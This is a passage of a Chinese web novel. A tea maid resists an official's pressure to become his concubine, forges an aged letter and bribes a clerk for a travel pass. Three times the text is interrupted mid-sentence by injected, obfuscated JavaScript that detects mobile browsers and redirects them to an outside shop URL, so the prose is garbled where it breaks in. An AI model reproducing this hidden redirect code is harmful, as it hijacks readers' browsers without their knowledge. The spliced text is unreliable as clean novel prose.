郑婆子点点头，又道：“女儿家还是要白些才好。你刚来那几日，脸上黄得跟蜡似的，我还当你是病了。如今这样多好，瞧着就精神。” 正说着，外头蹦进来一个人。 是个半大小子，约莫十二三岁年纪，穿着身青布短褐，圆脸盘，一笑眼睛就眯成两条缝。他窜进来，先冲郑婆子作了个揖，又冲秦式微挤挤眼，嘴甜得跟抹了蜜似的：“还得是茶房里头舒服，郑婆婆好，秦姐姐美。” 郑婆子被他逗乐了，佯装板着脸：“又想从老婆子这里讨糖吃？” 永言立刻摆手，一脸正经：“哪里？我已经大了，又不爱吃糖，都是掏心窝子的话。” 郑婆子笑骂了一句，从柜子里摸出两块饴糖，塞给他：“拿去拿去，少在这儿贫嘴。” 永言接了糖，往嘴里塞了一块，含糊道：“这回可不是来讨糖的，是来叫茶的——陆大人那边要茶。” 秦式微往外头看了一眼天色。 日头正往西斜，约莫是申时初的光景。前两日都是早间和午时左右叫茶，这个时辰倒是头一回。 她心里虽有些意外，却没多问，起身去准备。 郑婆子忽然想起什么，走到靠墙的木柜前，打开柜门，从里头取出一个包袱来。包袱解开来，里头是一套茶具——三只杯子，一只茶壶，都是白瓷的，可那白又不是寻常的白，莹润得像羊脂玉，对着光看，隐隐透出淡淡的青。 秦式微接过，仔细端详。 杯壁薄如蛋壳，釉面光洁得能照见人影，杯底烧着细小的冰裂纹，裂纹里头沁着淡淡的金线。壶身素净，没有花纹，可那线条流畅圆润，握在手里温润如玉，一看便知不是凡品。 “这是昨日你下工后，陆大人身边那位长随送来的。”郑婆子压低声音道，“说是让咱们往后用这套茶具泡茶。” 这样精细的东西，别说在这县衙，就是在县城最大的瓷器铺里也难得一见。那位陆大人随身带着这样的茶具，果然是世家大族的做派。 秦式微用这套茶具泡了茶，茶汤注入杯中，那莹白的瓷壁衬得茶汤愈发清亮，碧莹莹的，像一汪春水。 泡完茶，她熟门熟路往那院子去。 这几日走得多了，路都熟了。穿过月洞门，绕过假山，便到了那院子门口。她本以为会和往常一样，把茶交给良平便回去，可这回却不一样。 良平站在院门口，见她来了，却没有伸手接茶，只道：“你送进去吧。” 秦式微愣了愣，勉强压下心里的惊讶。 今个儿怎么回事？ 她垂下眼帘，定了定神，端着茶托往里走。 院子里静悄悄的，只有风吹过竹叶的沙沙声。她低着头，不敢四处张望，只盯着脚下的青石板路，一步一步往里走。 进了屋，她依旧垂着眼，只隐约看见窗前有人影斜倚着。她不敢多看，对着那人影的方向行了礼，轻声道：“大人，奴婢来送茶。” 她听见一声“放着吧”，声音慵懒，尾音微微上扬。 秦式微上前几步，将茶托放在案上，便准备退出去。 “站住。” 身后传来一声，不轻不重。 秦式微脚步一顿，垂首站定。 陆闻涉靠在窗边的椅子上，看着她。 这人从进门到现在，头都没抬过一下，全程恭恭敬敬，眼观鼻鼻观心，跟根木头桩子似的。他心中暗笑，怎么，自己难道真是洪水猛兽，看一眼能把她吃了？ 这两日还算顺遂。甘鸿光老实了不少，账册也翻不出什么破绽，他倒不急了——越是这样，越说明背后有事。慢慢来，总能揪住尾巴。 他心情不错，便想起这几日的茶来。 那茶泡得恰到好处，不烫不凉，正是他喜欢的温度。在这穷乡僻壤，能喝上这样的茶，倒是意外之喜。他便让良平把人唤来，想瞧瞧是什么人。 方才她开口那一声，声音极好听，像春风吹水，听着便让人心里舒坦。 他起了几分兴致。 “抬起头。”他道。 秦式微心里微微一紧。 这位陆大人今日是怎么了？先是让她进来送茶，这会子又让她抬头。可从方才那一声“放着吧”里，她能听出他心情不错，应当不是什么坏事。 她缓缓抬起头。 目光所及，是一张脸。 剑眉斜飞入鬓，眉尾微微上扬，带着几分凌厉。眼眸狭长，眼尾微微上挑，鼻梁高挺，薄唇似笑非笑。 他斜靠在椅子上，姿态慵懒随意，一只手搭在扶手上，另一只手撑着鬓角边。 一身曙红色长袍，红袖滑落，露出一截精瘦有力的小臂，衣料是上好的云锦，随着动作泛起细碎的光泽，隐约能看见衣摆上暗绣的缠枝纹，暧昧地纠缠。 秾艳至极，顾眄生威。 这是秦式微心里冒出的第一个念头。 不是正人君子的长相。 倒像是那种风流场上混惯了的，知道自己的好看，也懂得怎么用这好看。 陆闻涉也在看她。 她抬起头那一瞬，他微微一怔。 这小娘子生得极好。 不是那种明艳的好，是温温润润的好。眉眼清浅，如山间初化的春水，鼻梁秀挺，唇线柔和，右眉下一颗小小的痣，淡如墨点，衬得那张脸愈发清婉。 她站在那儿，轻肌弱骨，阳光从她身后照进来，给她那身素净的衣裳都缀上金边。 秦式微被他看得不自在，赶紧低下头。 而她这一动，延颈秀项，曲尽其态，陆闻涉看得喉咙有些发紧。 他端起茶盏，喝了一口，才将那异样的感觉压下去。 “这几日的茶是你泡的？”他问。 秦式微道：“是。” 陆闻涉放下茶盏，看着她。 “可想要什么赏赐？不拘于物。” 秦式微心里微微一动。 赏赐？她抬起头，飞快地看了他一眼，又垂下眼去。 这位陆大人如此大方？她不过是个泡茶的丫鬟，泡了几日茶，便要赏赐？这话听着怎么有些不对。 她心思转了几转。 户籍的事，这几日一直压在她心头。里正查户籍查得紧，若能在陆大人这儿求个情，宽限几日，或是打听出些消息—— 可她又拿不准这人是什么性子。是公私分明，还是随心所欲？她若开口求了，他会不会觉得她不知分寸？会不会反倒弄巧成拙？ 她犹豫了一瞬，终是道：“这是奴婢本分，不敢讨赏。” 陆闻涉看着她这小动作，嘴角微微勾起。 不敢讨赏？还是想讨的不好说？ 他当她有女儿家的羞涩，道：“真没有？” 秦式微摇头：“没有。” 陆闻涉看了她一会儿，心想还是个没胆子的，忽然道：“你再回去想想。” 秦式微愣了愣，抬起头看他。 他却没有再看她，端起茶盏，低头喝茶。阳光落在他侧脸上，那眉眼在光影里，愈发显得深邃难测。 她不敢多留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦式微本能拒绝道：“奴婢不识字。” 陆闻涉嗯了一声，往后靠在椅背上，姿态愈发慵懒。 “那正好。”他道，“你来同我松松肩膀。” 秦式微愣了一愣。 她抬起头，飞快地看了他一眼，又垂下眼去。 这人—— 堪称无耻。 她咬着牙，深吸一口气，道：“奴婢……还是认得几个字的。” 陆闻涉看着她，嘴角的笑意更深了。 他仿佛早料到她会这么说，也不惊讶，只从案上拿起一本书，递给她。 “那便念这个。” 秦式微接过书，低头一看——封面上写着两个字：茶经。 她捧着书，站在那儿，搬了个杌子往远了坐。 而陆闻涉已然斜躺到窗边的美人榻上，一只手枕在脑后，一只手搭在榻沿，阖上了眼，一副恣意闲适的模样。 那姿态，风流得很。 秦式微看着他那副模样，心里又骂了几句，面上却不敢显，只得捧着书，干巴巴地念起来。 “茶者，南方之嘉木也。一尺、二尺乃至数十尺。其巴山峡川，有两人合抱者，伐而掇之……” 她故意念得生涩，磕磕绊绊的。 榻上那人一动不动，像是睡着了。 可她知道他没睡着。 念了半页，她正想停下来歇口气，榻上那人忽然开口了。 声音懒懒的，带着几分笑意：“之前说的赏赐，想好了吗？” 8. 想法 昨夜知州邀宴，陆闻涉推却不得。席设在临江坊，倒还算个干净地，养的皆是清倌儿。他无意享用，只淡淡坐着，酒到杯干，话不多说一句，心底只觉这群人的虚与委蛇，腻味得很。 可上首严知州还是没放过他，酒过三巡，拍着他的肩，似笑非笑道：“贤侄年纪轻轻便居此位，前途不可限量。只是——太过清流了些。这官场上，水至清则无鱼，人至察则无徒。往后你我共事，还需多走动走动才是。” 他听懂了。这是嫌他不合群，嫌他不肯同流合污，嫌他太干净，往后不好拿捏。陆闻涉看着这位草包般的严家长辈，心底翻涌着浓烈的厌弃，没接话，只勉强陪了一夜的酒。 今晨回来，已是午时前后。酒意未散，心头那点不快更是郁结成块，他靠在窗边，懒得再想那些官场腌臜事。外头日头正好，暖光洒在榻边，他斜倚着，却无半分睡意，只觉心底空落落的，偏生又躁得慌。 “良平。”他漫不经心唤道，声线里带着酒后的沉哑。 良平应声而入，垂首立在一旁。 “叫茶来。” 良平应了，转身出去。不多时，门帘一掀，进来的却是个老婆子，端着茶托，步子重，恭恭敬敬将茶放在案上。 陆闻涉扫了一眼那寡淡的茶，又瞥了眼那满脸褶子的婆子，脸色当即冷了下来，周身的气压骤降。 他没说话，只抬眼，目光沉沉地扫向良平。 良平跟了他多年，如何不懂这眼神里的愠怒与不耐？他慌忙垂下头，不敢多言，只低声道：“奴这就去。” …… 陆闻涉睁开眼，毫无顾忌地黏在她身上，从她低垂的、纤长的眼睫，到她捏着书卷的细手，再到那一头乌黑的墨发，顺着发丝往下，落在那截露出的脖颈上——纤细的，白腻的，像上好的羊脂玉，轻轻一捏，怕是就能掐出水来。 他不动声色地收回目光，坐起身端起茶盏，抿了一口。茶的温度刚好，清醇回甘，也是难得。 她手里捏着那卷《茶经》，低眉顺眼，一副老实本分、人畜无害的模样。 陆闻涉揉揉眉，心底嗤笑一声。 这人连欲擒故纵的招都用不好。 推却一回还算玩趣，却不能太过了。 总归是知道自己生得好看，故意躲着他，推脱着不肯来伺候，等真被请来了，又装出这副不情不愿、谨小慎微的样子，无非是想抬高身价，想让他多费些心思，好博一个更体面的去处。 就当是解解闷。 他靠在榻上，懒懒开口，声线透着不容置喙的强势，继续道：“只管说便是。” 秦式微捧着书，心底飞快地转着。方才进门时，她便嗅到他身上淡淡的酒味，却无半分脂粉气，想来昨夜虽赴宴，却也算是守着几分底线，可这并不妨碍，他此刻对她的见色起意。 她借着行礼的动作，不动声色地往后退了半步，又退了半步，刻意拉开些距离，将那份刻意的恭顺做得十足：“大人。” 她垂着眼，声音软软的，却又带着几分恰到好处的怯意，“奴婢不敢讨赏。丁管事说过，做奴婢的本分就是安分守己，不该想的别想，不该要的别要。奴婢的娘亲过世前也叮嘱过，让奴婢老老实实做人，不能受不该担的恩惠。大人抬爱，奴婢心领了，可这赏赐，奴婢实在不敢受。” 她说得诚恳，字字句句都合情合理，可每一个字，都是在明晃晃地推脱，在划清界限。 陆闻涉听着，眉头微微皱了皱，心底的不耐又添了几分。 这话说得滴水不漏，可他岂会听不出来？什么丁管事，什么过世的娘亲——不过是找些借口，告诉他，她只是个本分的临时帮工，不想攀高枝，不想惹是非。 他看着她，忽然有些拿不准了。这人，是真的木讷不懂，还是装疯卖傻，故意跟他周旋？ 那点被勾起的兴致，混着还未散尽的酒意转成了愠怒。 他猛地从榻上起身，大步走到她面前，高大的身影将她整个人笼罩住，一股强大的压迫感骤然逼近，鼻端那淡淡的酒气混着他身上的熏香，呛得秦式微心头一紧。 秦式微垂着眼，不敢抬头，只死死盯着他靴子上精致的云纹，指尖却在袖中悄悄攥紧。 “不过寻常妇人之语，你就如此听进去了？”他站在她面前，声音从头顶传来，不高不低，却带着几分冷意，“孰知她不过是仗着如今比你位高，欺辱你？往后你跟了我，那位丁管事，还要朝你磕头。” 这话，直白得露骨，直白得让她没法再装傻。 秦式微心里咯噔一下，面上却依旧恭顺，只是咬了咬唇，声音愈发柔婉：“大人有所不知，奴婢并不是县衙的奴婢，没签过卖身契。奴婢是村里选来临时帮工的，算不得正经丫鬟，更不敢妄想去伺候大人。大人的好意，奴婢实在担不起。” 说着，她又往后退了一步，拉开更远的距离。 陆闻涉看着她后退的脚步，看着她低垂的眼睫，看着她那副看似柔弱却实则带着刺的样子——心底忽然明白了。 她不是在欲擒故纵。 她是真的在躲他。 陆闻涉眯着眼，目光沉沉地看了她一会儿，怒极反笑，他倒要看看，这人，能躲到什么时候。 “你家的事，我也知晓一二。”他靠回榻上，慢条斯理地捏着她的七寸，“父不详，母已逝。你上无宗族，下无近亲。这户籍，怕是落不到哪里。” 秦式微的心脏，狠狠一沉，指尖掐进了掌心。 他查她了。 心底暗骂自己倒霉，面上却不敢有半分显露，只咬着唇，沉默着，装作被吓住的样子。 陆闻涉看着她皱起的眉头，看着她眼底一闪而过的慌乱，只当她是被自己的话吓着了，心底的火气散了几分，反倒生出几分可怜。到底是小门小户出来的，没见过世面，几句话，就吓破了胆。 他语气松了两分：“你是个聪明人，应当知道好歹。你那户籍的事，说大不大，说小不小。孤女无依，官府若要发落，不过是一句话的事，配个粗鄙农夫，或是发卖到大户人家为奴，都是你的命。可你若是跟了我——”他顿了顿，嘴角勾起一抹玩味的弧度，“做我的妾，虽不是什么正室，却也是你的造化。往后户籍有着落，衣食无忧，不比你在外头飘着强？” 做妾。 秦式微听着，心底那股火气直往上冒，几乎要压不住。可她知道，此刻不能硬刚，不能露怯，只能忍着，只能装。 她垂着眼，声音愈发恭顺，带着几分被吓住的颤抖：“大人所说，奴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341497|199353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婢谨记。” 她顿了顿，怯生生地抬起头，飞快地看了他一眼，又迅速垂下眼，那副小鹿般受惊的模样，让陆闻涉的心底又软了几分，声音里带着几分小心翼翼的恳求：“可否……可否让奴婢回去收拾一二？奴婢出来得急，屋里还有些先母的遗物没归置，若是丢了，奴婢无颜见地下的娘亲。” 她刻意提起先母，提起遗物，用孝道做挡箭牌，料定他这般自诩世家子弟的人，不会在这上面苛责她。 陆闻涉看着她那副怯生生、梨花带雨的模样，心底那点疑虑散了些。到底是没见过世面的乡野女子，被他一番话，吓得六神无主，不过是回去收拾东西，认怂罢了。让她回去收拾也好，明日再来，兴许就彻底想通了，乖乖服帖。 他阖上眼，挥了挥手，语气带着几分不耐的纵容：“去吧。我让良平明日去接你。” 秦式微心头一松，面上却依旧恭顺，屈膝行了个礼，转身往外走。步子不紧不慢，端得稳稳当当，可只有她自己知道，后背的衣裳，早已被冷汗浸透。 心，跳得快要跳出嗓子眼。 好险。 她前脚刚出院门，良平后脚就进来了，垂首立在一旁：“主子。” 陆闻涉靠在榻上，没睁眼，声音带着几分冷意：“跟着她。” “若是有不长眼的为难她，你就料理了吧。” 良平应了一声，转身快步出去，眼底闪过一丝了然，这位秦姑娘可是有大造化。 秦式微一出那院子，便不敢有半分停留，小步快走着，过了月洞门，又走了一段，直到出了陆闻涉的住处，才敢稍稍停下，扶着墙，深吸一口气，平复着狂跳的心跳。 回到茶房，郑婆子正坐在那儿择茶叶，见她进来，抬起头，欲言又止地看着她，那眼神里带着几分猜测，几分担忧，还有几分了然——方才良平亲自来请，那架势，谁看不出来是什么意思？ 秦式微心里明白，郑婆子在这衙门里待了二十年，什么风浪没见过？她只扯出一抹勉强的笑，装作无事发生，走到架子前，慢慢收拾茶具，指尖却依旧在颤抖。 郑婆子张了张嘴，想说什么，到底还是咽了回去，只叹了口气，低声道：“永言方才来寻你，我说你去送茶了。他说有事找你，让你今日下工在角门等他，看那样子，像是有急事。” 秦式微手上的动作顿了顿，眼底闪过一丝光亮，点了点头：“多谢婆婆。” 这番安排很妥当。衙门里人多眼杂，隔墙有耳，有些事，绝不能在衙门里说。 好不容易熬到下工，秦式微照常往外走，脚步看似缓慢，实则心急如焚。她没有直接去角门，而是故意在街上溜达了两圈，东看看西看看，装作买东西的样子，才绕到偏僻的角门。 永言已经等在那儿了，靠在墙角的阴影里，脸色不算太好，见她来了，快步迎上来，压低声音，语气急促：“秦姐姐，我打听过了，坏消息。” 秦式微的心，瞬间提到了嗓子眼，看着他，等着下文。 “户籍这事，是陆大人亲自在主管，上头下了死命令，查得严得很，半点风声都不给透，我问了好几个户房的皂隶，都说这事根本没辙。”永言的声音压得极低，带着几分焦急，“不过——路引的事，还有点门路。” 9. 解围 秦式微的眼睛，骤然一亮。 “县衙户房有个掌案老吏，叫孔大财，在户房干了三十年了，什么门道都清楚，手眼通天。”永言道，小小的脸上满是凝重，“这人吧，胆子不大，就是贪财，认钱不认人，只要银子到位，什么事都能办，可若是银子不到位，天王老子来了也没用。而且他多疑得很，办事必须悄悄的，绝不能让人知道，一旦走漏风声，他第一个撇清关系，翻脸不认人。” 贪财就好。 秦式微心里瞬间有了计较，只要有弱点，就有突破口。她微微松了一口气，问：“要多少银子？” 永言伸出一根手指，压低了声音：“少说这个数。而且路引分远近，去的地方越远，价钱越高。姐姐要去的地方远不远？若是远路，还得给足好处，他才肯冒这个险。孔大财这人，不见兔子不撒鹰，银子不到位，他眼皮都不抬一下。” 秦式微点点头，心里有了数。她从袖中摸出一贯铜钱，不由分说地塞进永言手里，语气温和却不容推辞：“辛苦你了，这是给你的跑腿费。这几日你为我奔波，我记在心里。” 永言吓了一跳，连连摆手，脸都涨红了：“姐姐这是做什么？我不过是跑跑腿，打听打听消息，哪能要这么多？这可使不得，使不得！” 秦式微把铜钱硬塞进他手里，轻轻拍了拍他的手背，笑道：“拿着吧。往后若有难处，咱们互相照应。你若不收，我心里过意不去。” 永言推辞不过，只好收了，却依旧有些不自在，又连忙叮嘱道：“姐姐若是要办，可得赶在明日之前。孔大财的住处和习惯我都告诉你——他每日卯时末起身，辰时初出门去户房，午时回来用饭，歇一个时辰，未时再出去。他为人谨慎，从不在外头过夜，办私事都是在清晨或入夜后。你务必小心，千万别让人跟着，宁可多绕几圈，也不能露了行迹。” 秦式微一一记在心里，又仔细问了孔大财的住处、门巷特征、家里有几口人，确认无误后，才与永言道别，转身赶车去。 夜色已深，月光如水，洒在田埂上，亮晶晶的。 一到村口，她便愣住了。 平日里这个时候，村口早该静悄悄的，只有几声狗吠。可今夜，村口却热闹得不像话——火把点得通明，照得四下亮如白昼。几十号人围在那儿，吵吵嚷嚷的，有族老，有各家的当家人，还有三两个穿着皂衣的衙役，手里拿着簿册，正挨个点人。 是去年的旧户籍册子。 秦式微心头一沉。 居然如此之快？ 吴三婶正在人群里东张西望，一眼瞧见秦式微，脸色骤变。她两三步冲上前，一把拉住秦式微的袖子，把她拉到一旁，压低声音道：“你怎么回来了？你不该回来的！今儿个里正来了，说是今年要提前查人，族老便带着人先查一遍村里。你一个孤女，没宗族没依靠，落在他们眼里，能有什么好？快走，趁他们还没顾上你，快走！” 秦式微心头一暖，却也知道来不及了。 她正要安抚三婶，就听见身后传来一声冷笑。 “哟，这不是秦家丫头吗？”一个尖利的声音响起，是吕六娘的娘。她正站在人群边上，一双眼睛滴溜溜地转，看见秦式微，立刻扯着嗓子喊起来，“哎哟喂，可算是回来了！里正今儿个来查人，说是今年要提前查，族老便带着人先查一遍村里。怎么着，秦家丫头，你去要哪儿？” 她这一喊，所有人的目光都齐刷刷地转向秦式微。 秦式微站在那儿，月色和火光交织着落在她身上，照出那张清丽又柔弱的脸。她垂着眼，没有说话。 吕大婶扭着腰走过来，身后还跟着两个皂隶，脸上带着幸灾乐祸的笑，“里正吩咐了，今年要查得仔细，一个人都不能漏。秦家丫头，你跑什么跑？跑了，岂不是显得心虚？” 她说着，回头冲人群里喊道：“当家的，还有吕家族老，你们说说，是不是这个理儿？今儿个查人，还有人没查呢！秦家丫头，这不就是现成的？” 秦式微看着她，心里明白了。 吕六娘在衙门里受了气，回去定是添油加醋地说了一番。这位吕家婆娘，这是在替女儿出气呢。 人群里，吕家族老捻着胡子，点了点头，脸上的神情分明是正该如此。安家族老则皱着眉头，没有说话。 吴家族老——八老叔公，拄着拐杖站在那儿，看着秦式微，眼里带着几分不忍。他张了张嘴，想说什么，却被身旁的人扯了扯袖子。 那两个皂隶对视一眼，其中一个走上前来，上下打量着秦式微，语气公事公办：“你叫什么名字？哪家的？户帖可带了？今年可曾嫁人？可曾迁出？” 秦式微垂着眼皮，正要开口。 吕家婆娘已经凑到皂隶身边，指着秦式微，尖声道：“两位差爷，这丫头叫秦式微，就是三洞村的，她娘刚死，如今一个人，没宗族没依靠。查她，准没错！要我说，这种孤女，留在村里也是祸害，不如趁早带走，省得日后生事！” 她说着，又对皂隶几分讨好：“两位差爷，带走她吧，带走她吧。查清楚了，也好给里正交差不是？” 那两个皂隶对视一眼，正要上前，忽然，一只手从旁边伸出来，拦在他们面前。 秦式微抬起头，瞳孔微微收缩。 良平。 他不知何时出现在人群边上，一身青灰色长袍。他站在那儿，拦在两个皂隶面前，没有说话，只静静地站着。 “你是何人？”一个皂隶皱起眉头，上下打量着他，“敢拦官府办差？” 良平看了他一眼，淡淡道：“去请你们里正来。” 那皂隶一愣，还想说什么，却被同伴扯了扯袖子。那同伴看着良平那身气度，心里有了计较，低声道：“这位……这位公子，敢问尊姓大名？” 良平没有回答，只静静地站着。 不多时，焦里正匆匆赶来，额上还带着汗。他一眼瞧见良平，脸色骤变，赶紧上前，拱手道：“良平公子，您怎么来了？有什么事吩咐一声便是，何必亲自跑一趟？” 良平看了他一眼，微微侧身，露出身后的秦式微。 焦里正看见秦式微，愣了一下，又看了看良平，摸不着头脑。 良平示意他到一旁说话。 两人走到人群边上，良平压低声音说了几句。焦里正一边听，一边点头，脸上的神情从疑惑变成恭敬，又从恭敬变成惶恐。他连连拱手，嘴里说着什么，末了，转身回来，清了清嗓子。 “这位秦娘子，如今还挂着县衙的差事，是陆大人那边的人。”他扫了众人一眼，语气威严，“等过几日查户籍时，再一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341498|199353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并查办。今日，就先这样吧。” 他说着，挥了挥手，带着那两个皂隶走了。 吕家婆娘愣在原地，张了张嘴，想说什么，却对上焦里正那双警告的眼睛，一个字也说不出来。 良平走到秦式微面前，拱手道：“秦娘子，今日受惊了。明日一早，我便带着丫鬟来县衙，往后您出入，也有人照应。” 秦式微看着他，扯出一抹笑，温声道：“辛苦良平公子了。” 良平点了点头，转身离去。 人群渐渐散了，火把也熄了，村口重归寂静。 秦式微站在那儿，看着良平的背影消失在夜色里，脸上的笑容一点一点消失。 好一个陆闻涉。 户籍是他安排的，查得这般紧，这般急，逼得她走投无路。可偏偏又是他，安排了人解围，让她在众人面前躲过一劫。 好人，尽被他做了去。 换做是心智不坚定的，只怕早就被他这“恩威并施”的手段感动得五体投地，心甘情愿去做他的妾室了。 还有焦里正所说，若是她还不肯低头，那就只能等着被县衙拿去，不知到发落到哪里。 秦式微心想，她转身往家走。 路过吴三婶身边时，吴三婶拉住她，欲言又止。秦式微轻轻拍了拍她的手，低声道：“婶子放心，我没事。” 吴三婶看着她，叹了口气，松开手。 秦式微回到屋，点了油灯，闭上眼睛，长长地出了一口气。 村里，怕是呆不下去了。 她想起方才那些村民的目光——好奇的，探究的，明日过后，全村的闲话都会围着她转。她就成了那个攀上高枝的狐媚子。 她深吸一口气，睁开眼睛，眼底一片清明。 今晚，必须把路引的事敲定。 明日一早，立刻走。 秦式微点上灯，从柜子里翻出纸笔，指尖稳稳的，没有半分颤抖。 按照大濮朝的律法，孤女若有远亲投靠，可在核验信物与书信后，由户房开具路引，这是她唯一能钻的空子。她要伪造一封“远亲”的来信，一封足以骗过孔大财的信。 她必须在陆闻涉反应过来之前，办好路引，逃出去。 她在灯下写着，一笔一划，端端正正，模仿着老派的字迹，语气恳切，写着京中远亲思念，盼她前去相聚。写完了，又从柜子里取出一个小罐，里头是她娘教她配的“做旧水”——用茶水、醋、黄柏熬制而成，涂在纸上，能让新纸瞬间变得发黄发旧，与一月前旧信别无二致。 她小心翼翼地把信涂上做旧水，放在窗边晾着。夜风拂过，带着淡淡的草木香，却吹不散她心底的焦虑。 趁着晾信的功夫，她又从床底的瓦罐里，拿出所有的银子，一枚一枚地数着，约莫五两有余。加上这些日子在县衙攒的工钱，统共七两。 她想了想，又走到先母的灵位前，跪下，伸手往灵位底下抠了抠——那里有个暗格。 她把那物什塞到怀里。 万一事败，这东西兴许还能派上用场。 收拾妥当，她合衣躺在床上，却毫无睡意，睁着眼睛，看着屋顶的椽子，把脑子里要做的事，一遍又一遍地过着。 她想着，眼皮渐渐沉了，却不敢睡熟，只迷迷糊糊地眯着。 10. 搜捕 翌日，天还擦黑，秦式微就起了。 她没点灯，摸着黑洗漱完，从灶上拿了两个凉窝窝头，边吃边往外走，脚步轻而快，不敢有半分停留。 村口，安婶已经牵着牛车等在那儿了。安婶是三洞村的老人，早年丧夫，一个人拉扯大三个孩子，如今靠赶牛车挣几个铜板糊口，昨个儿的事她也听说了，见秦式微来得这么早，脸上满是诧异：“这么早？天还没亮透呢，县衙的事，用得着这么急？” 秦式微扯出一抹勉强的笑，装作若无其事的样子：“婶子，县衙最近事多，陆大人那边催得紧，得早点去忙活。” 安婶哦了一声，没再多问，只挥了挥手：“快上车吧。” 秦式微点点头，跳上牛车。牛车晃晃悠悠地上了路，车轮碾过青石板，发出咯吱咯吱的声响，敲得她心头发紧。 到县城时，天才刚刚亮，街上还没什么人，只有几个挑着担子的小贩，早早地出来摆摊。秦式微下了牛车，谢过安婶，便径直往孔大财家去，脚步飞快，像一阵风。 孔大财住在县城东边一条偏僻的小巷里，独门独户的小院，青砖灰瓦，收拾得齐整，一看就是个敛了不少钱财的。秦式微走到院门前，轻轻敲了敲门，里头传来一声不耐烦的呵斥：“谁啊？大清早的，扰人清梦！” 门开了，探出一张干瘦的脸，三角眼，山羊胡，脸上满是不耐，正是孔大财。他上下打量了秦式微一眼，三角眼微微眯起，带着几分警惕：“你找谁？” 秦式微压低声线：“孔掌案，有事相求，还望掌案行个方便。” 孔大财眯着眼看了她半晌，又往她身后仔仔细细看了看，见四下无人，没有跟着的尾巴，才不情不愿地侧过身，冷冷道：“进来吧，别在外头杵着，惹人眼。” 进了屋，秦式微也不绕弯子，直接从袖中取出那封做旧的信，双手递给孔大财，语气恳切：“我家在句州山霞县有门远亲，月前来信，说是家里老人病重，盼我前去探望。可我无路引，出不了县，求孔掌案通融通融，帮我办一张去句州的路引，我必有重谢。” 孔大财接过信，翻来覆去地看了几遍，手指摩挲着泛黄的纸面，三角眼里闪着精明的光，又抬眼扫了秦式微一眼，语气带着几分怀疑：“句州？那可是远路，隔着好几个县，路引可不是那么好办的。” 秦式微知道他是在拿乔，在等她的好处，也不多言，从袖中摸出那五两银子，轻轻放在桌上，银子发出清脆的声响，在安静的屋里，格外刺耳。 孔大财的眼睛，瞬间亮了一下，目光死死地黏在银子上，却依旧摇了摇头，故作难色：“不是我不帮忙，实在是最近风声太紧。那位陆大人查得严，万一查出来，我这干了三十年的掌案，饭碗可就砸了。这银子，我可不敢要。” 秦式微心里暗骂一声老狐狸，贪得无厌，面上却依旧不动声色，从怀里摸出那二两散碎银子，也放在桌上。 “若还不够，我也是拿不出了。” 孔大财看了看那五两银子，又看了看那二两，捻着山羊胡的手，顿了顿。七两银子，已是一笔不小的数目，而且这女子看着是个孤女，无依无靠，就算出了什么事，也查不到他头上。 他沉默了一会儿，忽然叹了口气，装作勉为其难的样子：“罢了罢了，看你也是个可怜的孩子，我就破一次例，帮你这一回。你在这儿等着，别乱动，也别跟着，我去去就回。” 说着，他起身，飞快地把银子揣进怀里，脚步匆匆地往外走，生怕晚了一步，她就反悔了。 秦式微看着他的背影，心底松了一口气，却依旧不敢放松，坐在那儿，一颗心悬在半空，七上八下。外头的天，渐渐亮了，阳光从窗缝里漏进来，在地上投下一道细细的光，可她却觉得，这光，格外刺眼。 不知过了多久，约莫一炷香的功夫，门外传来了急促的脚步声。 门开了，孔大财站在门口，手里拿着一张折叠的纸，冲她扬了扬，语气带着几分不耐烦：“拿着，赶紧走！路引办好了，盖了官印，绝对没问题。记住，别说是我办的，出了这个门，咱们两清，往后出了什么事，都与我无关！” 秦式微快步走上前，接过那张路引，小心翼翼地展开，上头盖着鲜红的县衙大印，写着她的名字、去处、期限，字迹清晰，印鉴齐全，绝无半分问题。她看了又看，确认无误，才抬头冲孔大财福了福身，声音带着几分感激：“多谢孔掌案，大恩不言谢。” “别谢了，快走快走，别让人看见你在我这儿，惹祸上身！”孔大财不耐烦地摆着手，催促着她，恨不得她立刻消失。 秦式微不再多言，把路引小心翼翼地揣进怀里，贴身藏好，转身就往外走，脚步越来越快，几乎是小跑着出了小巷，穿过空荡的街道，往县城西门的方向走去。 秦式微前脚刚出巷子，良平后脚便从另一条岔路追了上来。 他额上沁着细汗，面色比平日里白了几分，眼底带着一夜未眠的青灰。此刻站在巷口，看着那条空荡荡的巷子，眉头紧锁。 ——她去了哪儿？ 他回想起这一夜的折腾，心底五味杂陈。 昨夜，他从三洞村回来后，回了县衙，谁知半夜里，主子忽然发了热。 起初只是咳嗽，几声，几声，到了后半夜，主子身上忽然起了风团，一片一片的，红得吓人。 他吓得魂飞魄散，连夜请了大夫来诊。 